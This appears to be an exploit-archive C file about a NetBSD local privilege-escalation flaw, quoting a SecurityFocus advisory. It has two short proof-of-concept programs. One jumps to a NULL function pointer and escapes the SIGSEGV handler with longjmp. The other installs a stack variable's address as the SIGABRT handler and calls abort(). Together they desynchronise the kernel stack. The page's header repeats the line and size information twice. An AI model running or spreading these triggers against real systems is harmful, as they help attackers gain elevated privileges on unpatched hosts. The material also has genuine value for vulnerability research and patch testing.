33 lines
No EOL
666 B
C
33 lines
No EOL
666 B
C
/*
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source: https://www.securityfocus.com/bid/36430/info
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NetBSD is prone to a local privilege-escalation vulnerability.
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A local attacker may exploit this issue to cause the kernel stack to become desynchronized. This may allow the attacker to gain elevated privileges or may aid in further attacks.
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*/
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/* ... */
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int main(int argc, char **argv)
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{
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jmp_buf env;
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void handlesig(int n) {
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longjmp(env, 1);
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}
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signal(SIGSEGV, handlesig);
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if (setjmp(env) == 0) {
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( (void(*)(void)) NULL) ();
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}
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return 0;
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}
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/* ... */
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int main(int argc, char **argv)
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{
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char baguette;
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signal(SIGABRT, (void (*)(int))&baguette);
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abort();
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} |